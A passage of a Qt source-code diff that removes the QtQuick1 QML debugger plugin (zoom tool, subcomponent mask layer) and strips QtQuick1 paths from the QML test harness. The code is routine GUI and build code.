deleted file mode 100644 index b974f14b20..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/qtquick1plugin.h +++ /dev/null @@ -1,77 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEINSPECTORPLUGIN_H -#define QDECLARATIVEINSPECTORPLUGIN_H - -#include -#include - -namespace QmlJSDebugger { - -class AbstractViewInspector; - -namespace QtQuick1 { - -class QtQuick1Plugin : public QObject, public QDeclarativeInspectorInterface -{ - Q_OBJECT - Q_DISABLE_COPY(QtQuick1Plugin) - Q_INTERFACES(QDeclarativeInspectorInterface) - -public: - QtQuick1Plugin(); - ~QtQuick1Plugin(); - - // QDeclarativeInspectorInterface - bool canHandleView(QObject *view); - void activate(QObject *view); - void deactivate(); - void clientMessage(const QByteArray &message); - -private: - QPointer m_inspector; -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // QDECLARATIVEINSPECTORPLUGIN_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/subcomponentmasklayeritem.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/subcomponentmasklayeritem.cpp deleted file mode 100644 index d77fd5b13c..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/subcomponentmasklayeritem.cpp +++ /dev/null @@ -1,132 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "subcomponentmasklayeritem.h" - -#include "qmlinspectorconstants.h" -#include "qdeclarativeviewinspector.h" - -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -SubcomponentMaskLayerItem::SubcomponentMaskLayerItem(QDeclarativeViewInspector *inspector, - QGraphicsItem *parentItem) : - QGraphicsPolygonItem(parentItem), - m_inspector(inspector), - m_currentItem(0), - m_borderRect(new QGraphicsRectItem(this)) -{ - m_borderRect->setRect(0,0,0,0); - m_borderRect->setPen(QPen(QColor(60, 60, 60), 1)); - m_borderRect->setData(Constants::EditorItemDataKey, QVariant(true)); - - setBrush(QBrush(QColor(160,160,160))); - setPen(Qt::NoPen); -} - -int SubcomponentMaskLayerItem::type() const -{ - return Constants::EditorItemType; -} - -static QRectF resizeRect(const QRectF &newRect, const QRectF &oldRect) -{ - QRectF result = newRect; - if (oldRect.left() < newRect.left()) - result.setLeft(oldRect.left()); - - if (oldRect.top() < newRect.top()) - result.setTop(oldRect.top()); - - if (oldRect.right() > newRect.right()) - result.setRight(oldRect.right()); - - if (oldRect.bottom() > newRect.bottom()) - result.setBottom(oldRect.bottom()); - - return result; -} - -static QPolygonF regionToPolygon(const QRegion ®ion) -{ - QPainterPath path; - foreach (const QRect &rect, region.rects()) - path.addRect(rect); - return path.toFillPolygon(); -} - -void SubcomponentMaskLayerItem::setCurrentItem(QGraphicsItem *item) -{ - QGraphicsItem *prevItem = m_currentItem; - m_currentItem = item; - - if (!m_currentItem) - return; - - QRect viewRect = m_inspector->declarativeView()->rect(); - viewRect = m_inspector->declarativeView()->mapToScene(viewRect).boundingRect().toRect(); - - QRectF itemRect = item->boundingRect() | item->childrenBoundingRect(); - itemRect = item->mapRectToScene(itemRect); - - // if updating the same item as before, resize the rectangle only bigger, not smaller. - if (prevItem == item && prevItem != 0) { - m_itemPolyRect = resizeRect(itemRect, m_itemPolyRect); - } else { - m_itemPolyRect = itemRect; - } - QRectF borderRect = m_itemPolyRect; - borderRect.adjust(-1, -1, 1, 1); - m_borderRect->setRect(borderRect); - - const QRegion externalRegion = QRegion(viewRect).subtracted(m_itemPolyRect.toRect()); - setPolygon(regionToPolygon(externalRegion)); -} - -QGraphicsItem *SubcomponentMaskLayerItem::currentItem() const -{ - return m_currentItem; -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/subcomponentmasklayeritem.h b/src/plugins/qmltooling/qmldbg_qtquick1/subcomponentmasklayeritem.h deleted file mode 100644 index a76e4ffed7..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/subcomponentmasklayeritem.h +++ /dev/null @@ -1,73 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef SUBCOMPONENTMASKLAYERITEM_H -#define SUBCOMPONENTMASKLAYERITEM_H - -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class QDeclarativeViewInspector; - -class SubcomponentMaskLayerItem : public QGraphicsPolygonItem -{ -public: - explicit SubcomponentMaskLayerItem(QDeclarativeViewInspector *inspector, - QGraphicsItem *parentItem = 0); - int type() const; - void setCurrentItem(QGraphicsItem *item); - void setBoundingBox(const QRectF &boundingBox); - QGraphicsItem *currentItem() const; - QRectF itemRect() const; - -private: - QDeclarativeViewInspector *m_inspector; - QGraphicsItem *m_currentItem; - QGraphicsRectItem *m_borderRect; - QRectF m_itemPolyRect; -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // SUBCOMPONENTMASKLAYERITEM_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/zoomtool.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/zoomtool.cpp deleted file mode 100644 index 77521a3dbd..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/zoomtool.cpp +++ /dev/null @@ -1,330 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "zoomtool.h" - -#include "qdeclarativeviewinspector_p.h" - -#include -#include -#include -#include -#include - -#include -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -ZoomTool::ZoomTool(QDeclarativeViewInspector *view) : - AbstractLiveEditTool(view), - m_rubberbandManipulator(), - m_smoothZoomMultiplier(0.05f), - m_currentScale(1.0f) -{ - m_zoomTo100Action = new QAction(tr("Zoom to &100%"), this); - m_zoomInAction = new QAction(tr("Zoom In"), this); - m_zoomOutAction = new QAction(tr("Zoom Out"), this); - m_zoomInAction->setShortcut(QKeySequence(Qt::Key_Plus)); - m_zoomOutAction->setShortcut(QKeySequence(Qt::Key_Minus)); - - - LiveLayerItem *layerItem = QDeclarativeViewInspectorPrivate::get(view)->manipulatorLayer; - QGraphicsObject *layerObject = reinterpret_cast(layerItem); - m_rubberbandManipulator = new LiveRubberBandSelectionManipulator(layerObject, view); - - - connect(m_zoomTo100Action, SIGNAL(triggered()), SLOT(zoomTo100())); - connect(m_zoomInAction, SIGNAL(triggered()), SLOT(zoomIn())); - connect(m_zoomOutAction, SIGNAL(triggered()), SLOT(zoomOut())); -} - -ZoomTool::~ZoomTool() -{ - delete m_rubberbandManipulator; -} - -void ZoomTool::mousePressEvent(QMouseEvent *event) -{ - m_mousePos = event->pos(); - - QPointF scenePos = view()->mapToScene(event->pos()); - - if (event->buttons() & Qt::RightButton) { - QMenu contextMenu; - contextMenu.addAction(m_zoomTo100Action); - contextMenu.addSeparator(); - contextMenu.addAction(m_zoomInAction); - contextMenu.addAction(m_zoomOutAction); - contextMenu.exec(event->globalPos()); - } else if (event->buttons() & Qt::LeftButton) { - m_dragBeginPos = scenePos; - m_dragStarted = false; - } -} - -void ZoomTool::mouseMoveEvent(QMouseEvent *event) -{ - m_mousePos = event->pos(); - - QPointF scenePos = view()->mapToScene(event->pos()); - - if (event->buttons() & Qt::LeftButton - && (QPointF(scenePos - m_dragBeginPos).manhattanLength() - > Constants::DragStartDistance / 3) - && !m_dragStarted) - { - m_dragStarted = true; - m_rubberbandManipulator->begin(m_dragBeginPos); - return; - } - - if (m_dragStarted) - m_rubberbandManipulator->update(scenePos); - -} - -void ZoomTool::mouseReleaseEvent(QMouseEvent *event) -{ - m_mousePos = event->pos(); - QPointF scenePos = view()->mapToScene(event->pos()); - - if (m_dragStarted) { - m_rubberbandManipulator->end(); - - int x1 = qMin(scenePos.x(), m_rubberbandManipulator->beginPoint().x()); - int x2 = qMax(scenePos.x(), m_rubberbandManipulator->beginPoint().x()); - int y1 = qMin(scenePos.y(), m_rubberbandManipulator->beginPoint().y()); - int y2 = qMax(scenePos.y(), m_rubberbandManipulator->beginPoint().y()); - - QPointF scenePosTopLeft = QPoint(x1, y1); - QPointF scenePosBottomRight = QPoint(x2, y2); - - QRectF sceneArea(scenePosTopLeft, scenePosBottomRight); - - m_currentScale = qMin(view()->rect().width() / sceneArea.width(), - view()->rect().height() / sceneArea.height()); - - - QTransform transform; - transform.scale(m_currentScale, m_currentScale); - - view()->setTransform(transform); - view()->setSceneRect(sceneArea); - } else { - Qt::KeyboardModifier modifierKey = Qt::ControlModifier; -#ifdef Q_OS_MAC - modifierKey = Qt::AltModifier; -#endif - if (event->modifiers() & modifierKey) { - zoomOut(); - } else { - zoomIn(); - } - } -} - -void ZoomTool::zoomIn() -{ - m_currentScale = nextZoomScale(ZoomIn); - scaleView(view()->mapToScene(m_mousePos)); -} - -void ZoomTool::zoomOut() -{ - m_currentScale = nextZoomScale(ZoomOut); - scaleView(view()->mapToScene(m_mousePos)); -} - -void ZoomTool::mouseDoubleClickEvent(QMouseEvent *event) -{ - m_mousePos = event->pos(); -} - - -void ZoomTool::hoverMoveEvent(QMouseEvent *event) -{ - m_mousePos = event->pos(); -} - - -void ZoomTool::keyPressEvent(QKeyEvent * /*event*/) -{ -} - -void ZoomTool::wheelEvent(QWheelEvent *event) -{ - if (event->orientation() != Qt::Vertical) - return; - - Qt::KeyboardModifier smoothZoomModifier = Qt::ControlModifier; - if (event->modifiers() & smoothZoomModifier) { - int numDegrees = event->delta() / 8; - m_currentScale += m_smoothZoomMultiplier * (numDegrees / 15.0f); - - scaleView(view()->mapToScene(m_mousePos)); - - } else if (!event->modifiers()) { - if (event->delta() > 0) { - m_currentScale = nextZoomScale(ZoomIn); - } else if (event->delta() < 0) { - m_currentScale = nextZoomScale(ZoomOut); - } - scaleView(view()->mapToScene(m_mousePos)); - } -} - -void ZoomTool::keyReleaseEvent(QKeyEvent *event) -{ - switch (event->key()) { - case Qt::Key_Plus: - zoomIn(); - break; - case Qt::Key_Minus: - zoomOut(); - break; - case Qt::Key_1: - case Qt::Key_2: - case Qt::Key_3: - case Qt::Key_4: - case Qt::Key_5: - case Qt::Key_6: - case Qt::Key_7: - case Qt::Key_8: - case Qt::Key_9: - { - m_currentScale = ((event->key() - Qt::Key_0) * 1.0f); - scaleView(view()->mapToScene(m_mousePos)); // view()->mapToScene(view()->rect().center()) - break; - } - - default: - break; - } - -} - -void ZoomTool::clear() -{ - view()->setCursor(Qt::ArrowCursor); -} - -void ZoomTool::scaleView(const QPointF ¢erPos) -{ - - QTransform transform; - transform.scale(m_currentScale, m_currentScale); - view()->setTransform(transform); - - QPointF adjustedCenterPos = centerPos; - QSize rectSize(view()->rect().width() / m_currentScale, - view()->rect().height() / m_currentScale); - - QRectF sceneRect; - if (qAbs(m_currentScale - 1.0f) < Constants::ZoomSnapDelta) { - adjustedCenterPos.rx() = rectSize.width() / 2; - adjustedCenterPos.ry() = rectSize.height() / 2; - } - - if (m_currentScale < 1.0f) { - adjustedCenterPos.rx() = rectSize.width() / 2; - adjustedCenterPos.ry() = rectSize.height() / 2; - sceneRect.setRect(view()->rect().width() / 2 -rectSize.width() / 2, - view()->rect().height() / 2 -rectSize.height() / 2, - rectSize.width(), - rectSize.height()); - } else { - sceneRect.setRect(adjustedCenterPos.x() - rectSize.width() / 2, - adjustedCenterPos.y() - rectSize.height() / 2, - rectSize.width(), - rectSize.height()); - } - - view()->setSceneRect(sceneRect); -} - -void ZoomTool::zoomTo100() -{ - m_currentScale = 1.0f; - scaleView(view()->mapToScene(view()->rect().center())); -} - -qreal ZoomTool::nextZoomScale(ZoomDirection direction) const -{ - static QList zoomScales = - QList() - << 0.125f - << 1.0f / 6.0f - << 0.25f - << 1.0f / 3.0f - << 0.5f - << 2.0f / 3.0f - << 1.0f - << 2.0f - << 3.0f - << 4.0f - << 5.0f - << 6.0f - << 7.0f - << 8.0f - << 12.0f - << 16.0f - << 32.0f - << 48.0f; - - if (direction == ZoomIn) { - for (int i = 0; i < zoomScales.length(); ++i) { - if (zoomScales[i] > m_currentScale || i == zoomScales.length() - 1) - return zoomScales[i]; - } - } else { - for (int i = zoomScales.length() - 1; i >= 0; --i) { - if (zoomScales[i] < m_currentScale || i == 0) - return zoomScales[i]; - } - } - - return 1.0f; -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/zoomtool.h b/src/plugins/qmltooling/qmldbg_qtquick1/zoomtool.h deleted file mode 100644 index f6855c43f4..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/zoomtool.h +++ /dev/null @@ -1,109 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef ZOOMTOOL_H -#define ZOOMTOOL_H - -#include "abstractliveedittool.h" -#include "liverubberbandselectionmanipulator.h" - -QT_FORWARD_DECLARE_CLASS(QAction) - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class ZoomTool : public AbstractLiveEditTool -{ - Q_OBJECT - -public: - enum ZoomDirection { - ZoomIn, - ZoomOut - }; - - explicit ZoomTool(QDeclarativeViewInspector *view); - - virtual ~ZoomTool(); - - void mousePressEvent(QMouseEvent *event); - void mouseMoveEvent(QMouseEvent *event); - void mouseReleaseEvent(QMouseEvent *event); - void mouseDoubleClickEvent(QMouseEvent *event); - - void hoverMoveEvent(QMouseEvent *event); - void wheelEvent(QWheelEvent *event); - - void keyPressEvent(QKeyEvent *event); - void keyReleaseEvent(QKeyEvent *keyEvent); - void itemsAboutToRemoved(const QList &) {} - - void clear(); - -protected: - void selectedItemsChanged(const QList &) {} - -private slots: - void zoomTo100(); - void zoomIn(); - void zoomOut(); - -private: - qreal nextZoomScale(ZoomDirection direction) const; - void scaleView(const QPointF ¢erPos); - -private: - bool m_dragStarted; - QPoint m_mousePos; // in view coords - QPointF m_dragBeginPos; - QAction *m_zoomTo100Action; - QAction *m_zoomInAction; - QAction *m_zoomOutAction; - LiveRubberBandSelectionManipulator *m_rubberbandManipulator; - - qreal m_smoothZoomMultiplier; - qreal m_currentScale; -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // ZOOMTOOL_H diff --git a/src/plugins/qmltooling/qmltooling.pro b/src/plugins/qmltooling/qmltooling.pro index d03ee07fc9..41e1c65a6b 100644 --- a/src/plugins/qmltooling/qmltooling.pro +++ b/src/plugins/qmltooling/qmltooling.pro @@ -2,4 +2,3 @@ TEMPLATE = subdirs SUBDIRS = qmldbg_tcp SUBDIRS += qmldbg_qtquick2 -SUBDIRS += qmldbg_qtquick1 diff --git a/src/qmltest/qmltest.pro b/src/qmltest/qmltest.pro index cc2466639c..39b7dc8a3f 100644 --- a/src/qmltest/qmltest.pro +++ b/src/qmltest/qmltest.pro @@ -7,10 +7,9 @@ CONFIG += module CONFIG += dll warn_on declarative_debug MODULE_PRI += ../../modules/qt_qmltest.pri -QT += testlib-private declarative testlib quick qtquick1 widgets widgets-private gui +QT += testlib-private declarative testlib quick widgets widgets-private gui DEFINES += QT_BUILD_QUICK_TEST_LIB QT_NO_URL_CAST_FROM_STRING - load(qt_module_config) # Install qmltestcase.prf into the Qt mkspecs so that "CONFIG += qmltestcase" diff --git a/src/qmltest/quicktest.cpp b/src/qmltest/quicktest.cpp index dbc4fc75a1..28033785ba 100644 --- a/src/qmltest/quicktest.cpp +++ b/src/qmltest/quicktest.cpp @@ -45,7 +45,6 @@ #include "qtestoptions_p.h" #include #include -#include #include #include #if defined(QML_VERSION) && QML_VERSION >= 0x020000 @@ -331,47 +330,8 @@ int quick_test_main(int argc, char **argv, const char *name, quick_test_viewport } else #endif { - foreach (QString file, files) { - QFileInfo fi(file); - if (!fi.exists()) - continue; - QDeclarativeView view; - QTestRootObject rootobj; - QEventLoop eventLoop; - QObject::connect(view.engine(), SIGNAL(quit()), - &rootobj, SLOT(quit())); - QObject::connect(view.engine(), SIGNAL(quit()), - &eventLoop, SLOT(quit())); - if (createViewport) - view.setViewport((*createViewport)()); - view.rootContext()->setContextProperty - (QLatin1String("qtest"), &rootobj); - foreach (QString path, imports) - view.engine()->addImportPath(path); - QString path = fi.absoluteFilePath(); - if (path.startsWith(QLatin1String(":/"))) - view.setSource(QUrl(QLatin1String("qrc:") + path.mid(2))); - else - view.setSource(QUrl::fromLocalFile(path)); - if (QTest::printAvailableFunctions) - continue; - if (view.status() == QDeclarativeView::Error) { - // Error compiling the test - flag failure in the log and continue. - handleCompileErrors(fi, view); - continue; - } - if (!rootobj.hasQuit) { - // If the test already quit, then it was performed - // synchronously during setSource(). Otherwise it is - // an asynchronous test and we need to show the window - // and wait for the quit indication. - view.show(); - QTest::qWaitForWindowShown(&view); - rootobj.setWindowShown(true); - if (!rootobj.hasQuit) - eventLoop.exec(); - } - } + qWarning("No suitable QtQuick1 implementation is available!"); + return 1; } // Flush the current logging stream. diff --git a/src/qmltest/quicktestevent.cpp b/src/qmltest/quicktestevent.cpp index 6551d2feaa..4dee9bee77 100644 --- a/src/qmltest/quicktestevent.cpp +++ b/src/qmltest/quicktestevent.cpp @@ -42,8 +42,6 @@ #include "quicktestevent_p.h" #include #include -#include -#include #if defined(QML_VERSION) && QML_VERSION >= 0x020000 #include #include @@ -116,8 +114,6 @@ namespace QtQuickTest } QPoint pos; - QDeclarativeView *view = qobject_cast(window); - QWindow *eventWindow = window; #ifdef QUICK_TEST_SCENEGRAPH QQuickItem *sgitem = qobject_cast(item); if (sgitem) { @@ -125,13 +121,7 @@ namespace QtQuickTest } else #endif { - QDeclarativeItem *ditem = qobject_cast(item); - if (!ditem) { - qWarning("Mouse event target is not an Item"); - return; - } - pos = view->mapFromScene(ditem->mapToScene(_pos)); - eventWindow = view->viewport()->windowHandle(); + qWarning("No suitable QtQuick1 implementation is available!"); } QTEST_ASSERT(button == Qt::NoButton || button & Qt::MouseButtonMask); QTEST_ASSERT(stateKey == 0 || stateKey & Qt::KeyboardModifierMask); @@ -158,7 +148,7 @@ namespace QtQuickTest QTEST_ASSERT(false); } QSpontaneKeyEvent::setSpontaneous(&me); - if (!qApp->notify(eventWindow, &me)) { + if (!qApp->notify(window, &me)) { static const char *mouseActionNames[] = { "MousePress", "MouseRelease", "MouseClick", "MouseDoubleClick", "MouseMove" }; QString warning = QString::fromLatin1("Mouse event \"%1\" not accepted by receiving window"); @@ -178,8 +168,6 @@ namespace QtQuickTest QTest::qWait(delay); QPoint pos; - QDeclarativeView *view = qobject_cast(window); - QWindow *eventWindow = window; #ifdef QUICK_TEST_SCENEGRAPH QQuickItem *sgitem = qobject_cast(item); if (sgitem) { @@ -187,13 +175,7 @@ namespace QtQuickTest } else #endif { - QDeclarativeItem *ditem = qobject_cast(item); - if (!ditem) { - qWarning("Mouse event target is not an Item"); - return; - } - pos = view->mapFromScene(ditem->mapToScene(_pos)); - eventWindow = view->viewport()->windowHandle(); + qWarning("No suitable QtQuick1 implementation is available!"); } QTEST_ASSERT(buttons == Qt::NoButton || buttons & Qt::MouseButtonMask); QTEST_ASSERT(stateKey == 0 || stateKey & Qt::KeyboardModifierMask); @@ -202,7 +184,7 @@ namespace QtQuickTest QWheelEvent we(pos, window->mapToGlobal(pos), delta, buttons, stateKey, orientation); QSpontaneKeyEvent::setSpontaneous(&we); // hmmmm - if (!qApp->notify(eventWindow, &we)) + if (!qApp->notify(window, &we)) QTest::qWarn("Wheel event not accepted by receiving window"); } }; @@ -295,6 +277,8 @@ QWindow *QuickTestEvent::eventWindow() if (sgitem) return sgitem->canvas(); #endif + return 0; + /* QDeclarativeItem *item = qobject_cast(parent()); if (!item) return 0; @@ -305,6 +289,7 @@ QWindow *QuickTestEvent::eventWindow() if (views.isEmpty()) return 0; return views.at(0)->windowHandle(); + */ } QT_END_NAMESPACE diff --git a/src/qtquick1/graphicsitems/graphicsitems.pri b/src/qtquick1/graphicsitems/graphicsitems.pri deleted file mode 100644 index d3125d0b66..0000000000 --- a/src/qtquick1/graphicsitems/graphicsitems.pri +++ /dev/null @@ -1,96 +0,0 @@ -INCLUDEPATH += $$PWD - -HEADERS += \ - $$PWD/qdeclarativeitemsmodule_p.h \ - $$PWD/qdeclarativeaccessibleattached_p.h \ - $$PWD/qdeclarativeanchors_p.h \ - $$PWD/qdeclarativeanchors_p_p.h \ - $$PWD/qdeclarativeevents_p_p.h \ - $$PWD/qdeclarativeflickable_p.h \ - $$PWD/qdeclarativeflickable_p_p.h \ - $$PWD/qdeclarativeflipable_p.h \ - $$PWD/qdeclarativegridview_p.h \ - $$PWD/qdeclarativeimage_p.h \ - $$PWD/qdeclarativeimagebase_p.h \ - $$PWD/qdeclarativeborderimage_p.h \ - $$PWD/qdeclarativepainteditem_p.h \ - $$PWD/qdeclarativepainteditem_p_p.h \ - $$PWD/qdeclarativeimage_p_p.h \ - $$PWD/qdeclarativeborderimage_p_p.h \ - $$PWD/qdeclarativeimagebase_p_p.h \ - $$PWD/qdeclarativeanimatedimage_p.h \ - $$PWD/qdeclarativeanimatedimage_p_p.h \ - $$PWD/qdeclarativeitem.h \ - $$PWD/qdeclarativeitem_p.h \ - $$PWD/qdeclarativefocuspanel_p.h \ - $$PWD/qdeclarativefocusscope_p.h \ - $$PWD/qdeclarativepositioners_p.h \ - $$PWD/qdeclarativepositioners_p_p.h \ - $$PWD/qdeclarativeloader_p.h \ - $$PWD/qdeclarativeloader_p_p.h \ - $$PWD/qdeclarativemousearea_p.h \ - $$PWD/qdeclarativemousearea_p_p.h \ - $$PWD/qdeclarativepath_p.h \ - $$PWD/qdeclarativepath_p_p.h \ - $$PWD/qdeclarativepathview_p.h \ - $$PWD/qdeclarativepathview_p_p.h \ - $$PWD/qdeclarativerectangle_p.h \ - $$PWD/qdeclarativerectangle_p_p.h \ - $$PWD/qdeclarativerepeater_p.h \ - $$PWD/qdeclarativerepeater_p_p.h \ - $$PWD/qdeclarativescalegrid_p_p.h \ - $$PWD/qdeclarativetranslate_p.h \ - $$PWD/qdeclarativetextinput_p.h \ - $$PWD/qdeclarativetextinput_p_p.h \ - $$PWD/qdeclarativetextedit_p.h \ - $$PWD/qdeclarativetextedit_p_p.h \ - $$PWD/qdeclarativetext_p.h \ - $$PWD/qdeclarativetext_p_p.h \ - $$PWD/qdeclarativevisualitemmodel_p.h \ - $$PWD/qdeclarativelistview_p.h \ - $$PWD/qdeclarativelayoutitem_p.h \ - $$PWD/qdeclarativeitemchangelistener_p.h \ - $$PWD/qdeclarativegraphicswidget_p.h \ - $$PWD/qdeclarativetextlayout_p.h \ - $$PWD/qdeclarativepincharea_p.h \ - $$PWD/qdeclarativepincharea_p_p.h \ - $$PWD/qdeclarativeimplicitsizeitem_p.h \ - $$PWD/qdeclarativeimplicitsizeitem_p_p.h - - -SOURCES += \ - $$PWD/qdeclarativeitemsmodule.cpp \ - $$PWD/qdeclarativeaccessibleattached.cpp \ - $$PWD/qdeclarativeanchors.cpp \ - $$PWD/qdeclarativeevents.cpp \ - $$PWD/qdeclarativeflickable.cpp \ - $$PWD/qdeclarativeflipable.cpp \ - $$PWD/qdeclarativegridview.cpp \ - $$PWD/qdeclarativeimage.cpp \ - $$PWD/qdeclarativeborderimage.cpp \ - $$PWD/qdeclarativeimagebase.cpp \ - $$PWD/qdeclarativeanimatedimage.cpp \ - $$PWD/qdeclarativepainteditem.cpp \ - $$PWD/qdeclarativeitem.cpp \ - $$PWD/qdeclarativefocuspanel.cpp \ - $$PWD/qdeclarativefocusscope.cpp \ - $$PWD/qdeclarativepositioners.cpp \ - $$PWD/qdeclarativeloader.cpp \ - $$PWD/qdeclarativemousearea.cpp \ - $$PWD/qdeclarativepath.cpp \ - $$PWD/qdeclarativepathview.cpp \ - $$PWD/qdeclarativerectangle.cpp \ - $$PWD/qdeclarativerepeater.cpp \ - $$PWD/qdeclarativescalegrid.cpp \ - $$PWD/qdeclarativetranslate.cpp \ - $$PWD/qdeclarativetextinput.cpp \ - $$PWD/qdeclarativetext.cpp \ - $$PWD/qdeclarativetextedit.cpp \ - $$PWD/qdeclarativevisualitemmodel.cpp \ - $$PWD/qdeclarativelistview.cpp \ - $$PWD/qdeclarativelayoutitem.cpp \ - 